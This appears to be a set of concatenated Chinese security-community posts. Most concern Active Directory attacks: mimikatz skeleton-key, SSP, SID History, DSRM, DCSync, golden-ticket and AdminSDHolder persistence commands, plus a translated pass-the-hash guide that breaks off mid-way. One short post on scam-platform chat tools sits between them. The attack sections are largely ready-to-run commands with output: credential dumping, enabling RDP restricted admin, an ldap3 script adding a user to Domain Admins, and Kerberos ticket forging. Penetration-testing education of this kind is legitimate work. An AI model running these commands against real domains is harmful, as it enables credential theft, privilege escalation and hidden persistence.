重启后生效。无奈的是我把dll文件写出来了且确保是正确的，在win7和win2012上复现均失败，网上成功的例子是win2008server，可惜我并没有这个版本的虚拟机不过原理倒是懂了
## 万能密码
运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.
mimikatz# privilege::debug
mimikatz# misc::skeleton
然后所有用户都能用密码 mimiaktz登陆了
## SSP注入
ssp:一个DLL文件，用来实现Windows身份验证功能，比如kerberos，ntlm。系统启动时SSP会被自动加载入lsass.exe
sspi:SSP的API接口
如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码
临时性注入(重启便失效)
mimikatz# privilege::debug
mimiaktz# misc::memssp
执行如上命令, 然后只要目标机器不重启，在目标机器上登录的用户名和密码将会被记录在 C:\Windows\System32\mimilsa.log 文件中。
长期性注入（重启不失效）
把 mimikatz中的mimilib.dll放到系统的C:\Windows\System32\ 目录下，并将 mimilib.dll
添加到注册表中，使用这种方法，即使系统重启，也不会影响持久化效果。
修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security
Packages 项，加载新的DLL文件
用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log
## SID History后门
sid history:当我们把域A的用户x迁移到域B时，B域中x的sid会发生改变，随即而来的是权限也会发生改变。所以为了避免这种权限改变，sid
history诞生了， 系统会将其原来的SID添加到迁移后用户的SID History属性中，使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。
在域控上
privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性
然后可以在域控上验证其sid history是否更改成功
Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory
可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限
## DSRM后门
DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户，用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。（
如果域控制器的系统版本为Windows Server 2003，则不能使用该方法进行持久化操作。 ）
我们先设置DSRM密码
域控上输入ntdsutil
然后输入reset password on server null
然后键入密码，最后按q退出即可
在mimikatz中dump本地hash可以看到多出来个Administrator
然后设置DSRM登陆方式
DSRM登陆方式有三种分别对应123.
* 0：默认值，只有当域控制器重启并进入DSRM模式时，才可以使用DSRM管理员账号
* 1：只有当本地AD、DS服务停止时，才可以使用DSRM管理员账号登录域控制器
* 2：在任何情况下，都可以使用DSRM管理员账号登录域控制器
我们需要将他改成2才行。powershell执行
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
即可.然后直接psexec登录(这里用的是cs)
注意填Realm时要填上面dump出sam时的域名（这里是DC）
## 委派后门
这个很简单，利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来，或者非约束性委派得到的TGT，要用的时候加载进内存就行了
## DCSYNC
这个东西 可以实现不登录到域控而获取域控上的数据
获得以下权限就可以使用了
* Administrators组内的用户
* Domain Admins组内的用户
* Enterprise Admins组内的用户
* 域控制器的计算机帐户
然后在mimikatz里
privilege::debug
lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可
然后我们就可以通过krbtgt hash制作黄金票据登录administrator。
如果还想隐蔽一点，可以给普通用户添加如下ACE,使其获得dcsync权限
* * DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
* DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
* DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
可以以管理员权限运行powerview.ps1完成以上操作
#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
然后普通用户也可以用mimikatz调用dcsync导出hash了
### 配合EXCHANGE用户达到域提权目的
前提:一个exchange高权限组的用户控制权，一个机器账户
exchange安装后会在AD上生成两个容器
其中exchange windows permissions组的用户拥有writeDACL权限， Exchange Trusted Subsystem 是
Exchange Windows Permission 的成员，能继承writedacl权限，有这个权限后就能使用dcsync导出所有用户hash。
其中exchange trusted subsystem组甚至可能有继承自administrators组的权限。
假设我们已经拿到了exchange trusted subsystem中一个用户的控制权。
那么就可用dysync进行权限维持了
## 黄金票据生成
#提权
privilege::debug
#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt
## AdminSDHolder
AdminSDHolder是一个特殊容器，用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL
应用到所有受保护用户或组上，防止其被有意或故意修改。
如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组，这可以作为一个域环境权限维持的方法 。
如何寻找受保护用户或组：
受保护用户或组的 **AdminCount属性为1** 。
但是，如果对象已移出受保护组，其AdminCount属性仍为1，也就是说，有可能获得曾经是受保护组的帐户和组 。
使用powerview.ps1`Get-NetUser -AdminCount`即可获得受保护用户
`Get-NetGroup -AdminCount`即可获得受保护组
如何修改ADMINSDHOLDER的ACL
域管执行以下命令(powerview.ps1)
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权
然后默认等60分钟，待ADMINSDHOLDER生效后，xx就获得所有受保护对象的完全控制权了 | 社区文章 |
# Windows内网协议学习LDAP篇之域用户和计算机用户介绍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker@360RedTeam
## 0x00 前言
这篇文章主要介绍AD里面的域用户，计算机用户。
## 0x01 域用户
### 1\. 查询域用户
当我们拥有一个域用户的时候，想要枚举域内的所有用户，主要有两个方法。
(1) 通过SAMR 协议查询
samr 也不算是一种专门的协议，就是一个RPC接口(这里简单地提一下。后面在RPC篇里面详细介绍这个RPC接口)
我们平时使用的net user /domain就是使用samr 进行查询的。
在impacket 里面有一个脚本samrdump.py就是专门调用samr 去查询域用户的。
(2) 通过Ldap 语法查询
域用户存储于活动目录数据库里面，对其他用户可见。可以通过Ldap 去查询。
过滤语法如下
(&(objectCategory=person)(objectClass=user))
### 2\. 域用户部分属性介绍
* ● 相关的用户名
这些属性在LDAP 里面都可以查看
（1）姓对应的属性就是sn
（2） 名对应的属性是giveName
（3）展示名，对应的属性是displayName。
值得注意的是，displayName不能用于登陆，虽然跟域用户名往往一样。但是这个不是直接用于登陆的我们登陆用的账号，在一些公司里面，displayName往往是中文，登陆的用户名是拼音。登陆的格式有以下两种格式。
（4）第一种格式是UserPrincipalName，我们简称为UPN，一般的格式是用户名@域名这样的格式。
比如这里就是[email protected]
（5） 第二种格式是域名\sAMAccountName这种格式
比如这里就是test.local\lisi，这里的域名可以是netbios名，也可以是dns 名。
* ● 用户相关的一些时间
* · whenCreated
* · pwdLastSet
* · Lastlogon
看名字就可以大约猜出这些字段的含义了。账号创建时间，设置密码时间，上次登录时间，这些属性任意域用户都可以看的到。
只是这个并不直观，adfind 提供了转化。
这样更直观一点
值得注意的是Lastlogon这个属性值在不同的域控制器上是不会同步的。所以要查询一个用户的最后登录时间，得指定不同的域控制器来查询。
* ● userAccountControl
在上一篇，讲位操作的时候有简单提及到这个userAccountControl，其实这个属性至关重要。在整个系列文章里面反复提及。userAccountControl对应的位如下。
我们可以利用ldap的位操作(关于Ldap的位操作见[Windows内网协议学习LDAP篇之组和OU介绍](https://www.anquanke.com/post/id/195737))来一个个过滤。
比如，我们想查询查询密码永不过期的用户。
又比如，我们想查询设置了约束委派的用户。
又比如，我们想查询域内设置了对委派敏感的用户。
等等等。大家可以查表，然后更改对应的十进制值来过滤。
## 0x02 机器用户
默认情况底下，加入域的机器默认在CN=Computer这个容器里面，域控默认在Domain
Controllers这个OU里面。有些域内会通过redircmp进行修改
### 1\. 机器用户跟system 用户的关系
考虑到这样一个场景，如果拿到一台域内机器，然后发现没有域内用户。 这个时候有很多人用mimikatz 抓一下，没抓到域用户，就束手无策了。
我们随便点开一台Domain Computer，这里以WIN7这台机子做为测试。
我们看他的对象类。
发现他是computer 类的实例。
而computer 类的user
类的子类。域用户是user类的实例。之前我们说过类是属性的集合。子类继承了父类的所有属性，因此域用户该有的属性，计算用户都有，甚至我们可以说，机器用户就是一种域用户。
那回到之前的那个问题，如果拿到一台域内机器，然后发现没有域内用户的情况。我们上面说了，机器用户其实就是一个域用户，那我们怎么使用这个机器用户呢。其实本地用户SYSTEM就对应于域内的机器用户，在域内的用户名就是机器名+$,比如win7，他的机器名是WIN7，那他在域内的登录名就是win7$,关于sAMAccountName我们在上一小节已经讲了。
所以我们可以将当前用户提到system(非管理员需要配合提权漏洞，管理员组的非administrators需要bypassuac，administrator提到system。这个网上有很多方法，psexec，mimikatz等等)。就可以在域内充当机器用户了。
或者直接抓hash 也是一样的。
### 2\. 查找域内的所有机器
可以通过objectclass=Computer或者objectcategory=Computer查找域内的所有机器
adfind 对查询计算机，提供了一些快捷方式。
域内的域控都在Domain Controller这个OU底下，可以通过查看这个OU里面的机器来找到域内的所有域控。
adfind 对查询域控，也提供了一些快捷方式。
## 0x03 域用户账户与机器用户的对应关系
### 1\. 域用户默认能登录域内的任何一台普通机器
如果我们是自己搭建过域环境的话，应该会知道，默认情况底下，域用户是能够登录域内的任何一台机器用户的。我们在这里面探究一下原因。
在域成员机器的本地安全策略里面，默认情况底下，本地用户组允许本地登录。其中包括Users组。
其中Users组包括Domain Users。
而域内用户默认都在Domain Users组里面。
因为域用户默认都在Domain Users组里面，而Domain
Users在Users组里面。默认情况底下Users组内的成员允许本地登录。所以域内成员默认都能登录域内任何一台机器。
对于这种情况，很多域内都没有解决这个问题。而有些域内运维意识到这个问题。一般会有这两种修改方案。
(1) 在域用户这边做限制
设置域用户只允许登录到某台机器。
(2) 在机器这边做限制
这个可以通过下发组策略实现。
因为一般都会把常登陆这台机器的域用户加入到Administrators组里面。不允许User组里面用户本地登录。把下图的Users删除掉。这样登陆这台机器的域用户，因为在Administrators组里面，也可以登录。而其他域用户也不能登录。
### 2\. 查看域用户能够登录的主机
域用户默认能本地登录域内的任何一台主机。为了缓解这个问题。上一小节我们提出了两种解决方案。也会带来新的问题。我们可以根据这个找到域用户能够登录的主机。限制了域用户只能登录到某台主机之后，在LDAP里面，会设置一个字段，userWorkStation。这个字段保存了这个域用户只能登录到某台机器。而这个字段对于域内任何用户都是可读的，我们可以通过读域用户的userWorkStation来查看域用户限制登录到那一台机子。那个用户也就能够登录那台机子。
### 3\. 查看域用户正在登陆的主机
当我们想寻找一个域用户正在登陆的主机的情况下，主要有以下几种方式
1. 检查远程机器注册表项里HKEY_USERS来查询谁正在登陆机器比如我们远程登录SERVER12的注册表，看到HKEY_USERS底下的key有S-1-5-21-1909611416-240434215-3714836602-1113，将S-1-5-21-1909611416-240434215-3714836602-1113这个sid转化为用户名是TEST\maria，就可以看到用户TEST\maria当前正在SERVER12这台机器上登录。远程查看注册表项这个操作可以通过API实现，我们可以遍历域内所有机器，查询机器正在登陆的用户。值得注意的有:
* (1) 默认PC机器，是没有开启注册表远程连接的。Server 机器，默认开启远程连接。
* (2) 域内任何用户，即使配置了，不能本地登录域内机器A，但是只要域内机器A开启远程注册表连接，我们就可以连接上机器A的注册表，从而枚举正在登陆的用户
2. 利用 NetSessionEnum 来寻找登陆的网络会话。一个win32 API，关于这个API的细节可以看官方文档[NetSessionEnum function](https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum)。
NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
LMSTR servername,
LMSTR UncClientName,
LMSTR username,
DWORD level,
LPBYTE *bufptr,
DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume_handle
);
这个API 的第一个参数servername
，可以指定一个远程的机器A，会去调用远程机器A的RPC。然后返回其他用户在访问机器A的网络资源（例如文件共享）时所创建的网络会话，可以看到这个用户来自何处。比如我们访问DC2016，会看到kangkang和jane
正在连接DC2016，而kangkang来自172.16.103.131,jane来自172.16.103.128
值得注意的有:
(1) 我们指定了servername
为机器A，并不能查询谁谁登陆了机器A，但是可以看到访问机器A的网络资源（例如文件共享）时所创建的网络会话。这个网络会话可以看到哪个域用户来自哪个IP，比如kangkang来自172.16.103.131，所以我们一般指定servername为域控或者文件共享服务器。
(2) 调用此函数的用户，指定了servername 为机器A，并不需要在机器A
上有管理员权限。所以域内任何用户都可以调用此函数，指定了servername 为域控。
3. 利用NetWkstaUserEnum列出当前登录到该机器的所有用户的信息同样的，这也是一个WIN32 API，关于这个API的细节可以看官方文档[NetWkstaUserEnum function](https://docs.microsoft.com/en-us/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum)
NET_API_STATUS NET_API_FUNCTION NetWkstaUserEnum(
LMSTR servername,
IN DWORD level,
LPBYTE *bufptr,
IN DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resumehandle
);
这个API 的第一个参数servername
可以指定一个远程的机器A，会去调用远程机器A的RPC。然后返回当前登录到机器A的所有用户的信息.值得注意的是，调用该函数的用户需要具备机器A的本地管理员权限。
有一些现有的工具用来枚举正在登陆某台机子的用户(一般称为枚举会话)，其实本质上还是利用我们上面说的方法。这里举例几个
(1) psloggedon.exe
（2) netsess.exe
（3） PVEFindADUser.exe
(4) hunter.exe
### 4\. 查看域用户登录过的主机
1. 通过查看outlook的邮件头当用户a 在公司内部使用outlook 给你发一封邮件的时候，我们可以在改邮件的头部看到用户a的内网IP
2. 导出DC日志。
这个要求我们有域控权限，比如说我们在拿到域控之后想找到域内某个用户的主机。
域内用户A在机器B正常登录的时候，由于本地没有域用户A的hash。机器B会去域控那边做验证，登录成功的话，在域控那边，会有个4624的日志，登录类型为3。
值得注意的是，在域内可能存在多台域控，日志并不同步，请将每一台域控的日志都导出来。导出日志和查看日志有很多方式，这里提供一个实现。
导出日志，wevtutil是自带的
wevtutil epl Security C:\Users\Administrator\Desktop\1.evtx /q:“*[System[(EventID=4624)] and EventData[Data[@Name=‘LogonType’]=‘3’]]” //导出日志
将日志拷贝到我们的电脑.使用LogParser开始提取日志
LogParser.exe -i:EVT -o:CSV "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM 1.evtx" >log.csv // 提取日志
## 0x04 引用
* [● 域内会话收集](https://rcoil.me/2019/10/%5B%E5%9F%9F%E6%B8%97%E9%80%8F%5D%E5%9F%9F%E5%86%85%E4%BC%9A%E8%AF%9D%E6%94%B6%E9%9B%86/)
* [● 域渗透中查询域用户对域成员机器关系](https://xz.aliyun.com/t/1766) | 社区文章 |
# 诈骗“工具”进化史，你永远不知道骗子有多努力！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期在对博彩平台分析时发现，与之前发现的第三方在线客服系统不同的是，其使用的平台源码是免费并且开源的。由此看来，
**诈骗产业使用的沟通工具又进行了升级！**
## 黑灰产如何解决获客和沟通问题？
随着国家层面打击力度加大，对网络诈骗高发区域的QQ、微信、支付宝、POS机等社交和支付账户采取封停措施。诈骗使用的“获客“及与“受害人”联系的渠道空间受到压缩，为解决获客与沟通问题。其逐渐形成了以
**“初步接触方式”、“深度交流载体”、“社交平台技术支撑“** 三种类型的网络黑灰产业链。
## 诈骗常用的沟通环节“进化史”
随着全民反诈的普及、安全攻防技术的发展，近期发现其出现了使用开源客服源码进行自主搭建的3.0升级版本。
### 1.0版本
通过黑灰产渠道购买QQ、微信账号，并借助微信的A16/62数据躲避微信换机时的登录验证。由于需求的不同，此些账号进行了分类售卖，如8位QQ信封（TXT文本中保存大量的QQ账号及密码）、QQ令牌号、微信白号（刚注册，未实名）、微信满月号（注册一段时间的）等。
**此种方式被用户举报或风控识别后账号易失效。目前逐渐“沦落”成与受害人初步接触的工具。**
### 2.0版本
通过API的方式，将国内第三方在线客服平台提供的在线客服系统集成到诈骗网站或APP中。此种方式改善了1.0版本中存在的账号易被封的问题，
**但由于部分在线客服平台是网页形式，访客每次访问时会刷新页面，并无法保存聊天记录。**
提高了受害人保存历史受骗聊天资料的难度，同样也增加了案件追溯的难度。
### 3.0版本
使用开源的源码，可根据功能需求，自主搭建所需的在线客服平台。相对于2.0版本而言，摆脱了第三方平台的“掣肘”，
**基本实现了在线客服平台完全可控，聊天记录本地化。**
## 开源的在线客服系统功能
**私有化部署：** 主打源码开放，私有化部署。聊天记录完全在本地。
**源码开源：** 存在多个版本，免费版本、单商户版本、多商户版本。
**入门级搭建：** 针对不同系统，有相应的安装+使用教程，且还有相应的演示站进行功能演示。
**可接入微信/小程序客服：** 针对微信/小程序做了功能适配，其主要流程是将用户发送的消息，通过接口回调的方式推送给你搭建的在线客服。
**访客IP归属地数据统计、访客黑名单机制：**
在线客服在与访客沟通时，可查看到访客的IP，客服管理后台可针对访客进行地区划分。甚至是可以针对指定的访客/IP进行黑名设置，限制其访问。
## 开源的多商户在线客服系统的后台界面
其分为管理端和客服工作台两部分，前者主要是对平台客服进行功能设置，后者用于平台客服对接访客。
### 管理端
①控制台：通过图形形式展示客服接待情况
②客服管理：增添平台客服、对客服的对话量、满意度进行统计
③常用语管理：增加或删减客服对话时使用的常用语
④历史会话&留言：访客与客服的对方内容或客服不在线时访客的留言 | 社区文章 |
# 传递哈希的另类用法(pth)
您还记得第一次[passed the hash](https://attack.mitre.org/techniques/T1550/002/)吗?
它可能有点像这样:
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
如果您不熟悉 [Metasploit PSexec](https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/) 模块
好吧，现在我们不再真的这样做。你可能会像这样做
cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
SMB 10.0.0.20 445 PC01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)
SMB 10.0.0.20 445 PC01 [+] domain.local\user BD1C6503987F8FF006296118F359FA79 (Pwn3d!)
那就是使用[CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)来传递哈希值。正如你可能已经知道，CrackMapExec的核心主要是[impacket](https://github.com/SecureAuthCorp/impacket),默认的执行方法是使用[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)，可以使用如下的语法来通过[impacket](https://github.com/SecureAuthCorp/impacket)来单独使用它。
wmiexec.py domain.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
您会发现，基本上impacket的示例方法都允许您去传递哈希。
接下来我要谈的是一些对你来说比较新颖的传递哈希的方法。
## WinRM
**内容** : 简要地说Windows远程管理([WinRM](https://docs.microsoft.com/en-us/windows/win32/winrm/portal))是另一种远程管理WMI和其他类似协议的方法。并且使用一组不同的端口。WinRM使用5985端口(HTTP)或者5986(HTTPS)。
**用途** : 有时候你会发SMB没有打开, 或者某些终端保护阻止您使用标准的工具集。
**作法** : 可以使用包括CrackMapExec在内的各种工具来完成此操作,但现在我比较喜欢[evil-winrm](https://github.com/Hackplayers/evil-winrm),因为它保护许多其他的特点。用evil-winrm
来传递hash非常容易，它看起来像这样:
ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\user\Documents>
**资源** :
<https://pentestlab.blog/2018/05/15/lateral-movement-winrm/>
<https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/>
## RDP
**内容** : 远程桌面是一项程序或操作系统功能，它使客户能够连接到其他位置的计算机，查看该计算机的桌面并与它进行交互，就好像在本地计算机操作一样。
**用途**
:通常,在渗透测试期间，你可能希望访问用户系统上安装的只能通过图形化界面使用的软件。这可能是通过GUI轻松导出的密码管理器或者是其他软件，这些软件可以执行原本不可能/难以使用操作。您可能想要传递无法无法破解的NT
hash和接管他们的会话。
**作法**
:你可以使用[xfreerdp](https://linux.die.net/man/1/xfreerdp)来传递哈希。但是，有一个重要的警告，那就是只有在系统启用了"受限管理模式"时才有可能。如果未启用该功能，而您尝试pth，则会收到一个错误信息，指出"帐户限制阻止该用户登录.默认情况下，"受限管理模式"为禁用状态。好消息是如果您具有对该系统的管理员访问权限以及对SMB/WinRM/等,则可以远程启用这个功能。
cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
SMB 10.0.0.200 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
SMB 10.0.0.200 445 DESKTOP [+] DESKTOP\Administrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
SMB 10.0.0.200 445 DESKTOP [+] Executed command
SMB 10.0.0.200 445 DESKTOP The operation completed successfully.
一旦设置了注册表项,就可以使用xfreerdp传递哈希值
xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
**资源** :
<https://www.kali.org/penetration-testing/passing-hash-remote-desktop/>
<https://shellz.club/pass-the-hash-with-rdp-in-2019/>
[https：// labs。
f-secure.com/blog/undisable/](https://labs.f-secure.com/blog/undisable/)
## smbclient
**内容** : [smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html) 是类似于FTP的客户端，用于与SMB/CIFS资源交互。
**用途** :尽管恢复了有效的哈希值，但有时您可能仍无权对系统进行管理访问。考虑如下场景:
你控制了一台主机并且转储了哈希，其中之一属于财务负责人。他们没有对基础结构的管理访问权，但可以访问文件服务器上搜集的保密数据。
**作法** :smbclient 拥有-pw-nt-hash 标志,可用于传递NT Hash
smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
Try "help" to get a list of possible commands.
smb: \>
## LDAP
**内容** : Active Directory(活动目录)是Windows通用目录服务的实现，该服务使用LDAP作为其主要访问协议。
**用途** :通常，我发现最好的活动目录攻击链通常涉及利用ACLS。考虑一个常见的渗透测试场景:您已经获得对IT管理员组的用户的NT
hash的访问权限,该管理员可以通过exchange 服务器进行管理员访问。您没有通过域控制器的管理员访问权限。Exchange服务器是
**Exchange Trusted Subsystem** 组的成员，而该组是 **Exchange Trusted Subsystem**
的组成员，这个组对域具有WriteDACL访问权限。同样重要的是,获取计算机账户和密码，并且这些密码实际上不可破解的，这就是为什么传递哈希值非常有用的原因。
**作法** :首先,为Exchange服务器恢复NT hash
secretsdump.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\EXCHANGE$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
DOMAIN\EXCHANGE$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\EXCHANGE$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\EXCHANGE$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
拥有Exchange服务器的NT
hash后，就可以用ldap3向域控制器进行身份验证，并通过传递哈希进行身份验证。从这里您可以执行很多操作，比如包括将控制的用户添加到Domain
Admins组等简单攻击。在此示例中，您当然也可以使用Exchange账户通过secretsdump.py进行Dcsync。如果你只是获取到了[
**Server Operators** ](https://www.n00py.io/2020/01/managing-active-directory-groups-from-linux/)组成员的NT hash,则将无法进行Dcsync，但可以使用此方法将用户添加到某些组以扩展访问权限。
python3
>>> import ldap3
>>> user = 'DOMAIN\\EXCHANGE$'
>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True
**资源** :
<https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/>
## Pass the Ticket
**内容** : 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法，而无需访问账户密码。
**用途**
:可能无法通过NTLM进行身份验证，并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。
**作法** :在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的 **kinit**
。如果您没有密码,这是一个问题。幸运地是,impacket
有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具，您需要对其进行设置。
* 安装Kerberos软件包
* 配置AD领域
* 使DNS正常工作
* 同步time
要使用NT hash创建Kerberos的TGT,请运行如下命令:
python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Saving ticket in user.ccache
您将需要将票证复制到 **/tmp/krb5cc_0** ,因为许多工具都在该位置查找票证。你同意需要将 **KRB5CCNAME**
环境变量设置为票据所在的位置，因为某些工具使用它来寻找票据的位置。
cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0
你可以使用klist验证票据。
klist
Credentials cache: FILE:/tmp/krb5cc_0
Principal: [email protected]
Issued Expires Principal
现在,您已经有了凭证,可以将其与所有impacket工具一起使用，用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样，这将在某些特定情况下非常有用。请注意，无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点)
**资源** :
<https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf>
## Mount
**内容** :在Linux上，可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。
**用途**
:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用，这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验，你甚至可以使用SSHFS公开此挂载点，因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。
**作法** :挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败，并显示错误"No
such file or directory",这通常意味着您的票据不合法，或者权限不允许挂载查看。
sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
## ssh
**内容** : SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。
**用途**
:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常，唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中，我经常发现Linux系统会被加进活动目录中。如果你有很多域组，请搜索他们以查看名称中是否包含unix/linux，这说明unix/linux系统可能已经加入域了。
**作法** :您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试，使用SSH链接并启用详细信息。
ssh -o GSSAPIAuthentication=yes [email protected] -vv
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure. Minor code may provide more information
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)
您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。
cp user.ccache /tmp/krb5cc_1045
一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。
ssh -o GSSAPIAuthentication=yes [email protected]
[user@computer ~]$
## 基于资源的约束委派(RBCD)
**内容** :如果您对计算机具有写特权( _WriteDACL_ , _GenericWrite_ , _GenericAll_
等).则可以在该对象获取的提升权限的命令执行力。
这不是将哈希传递到前面提到之外的新方法，但是此攻击链结合了多种PTH技术，比如通过SMB进行PTH，将PTH传递给LDAP，PTH获取Kerberos票据，并最终通过票证。
在此实例中，我们假设一个计算机对象具有对另一计算机对象的写权限。
用途:通常，我发现的环境中没有简单的攻击路径，并且活动目录的权限提升需要基于ACL的攻击。
**作法** :
首先，将具有管理访问权限的用户的Hash传递到第一台计算机，以恢复该计算机的NT Hash
secretsdump.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
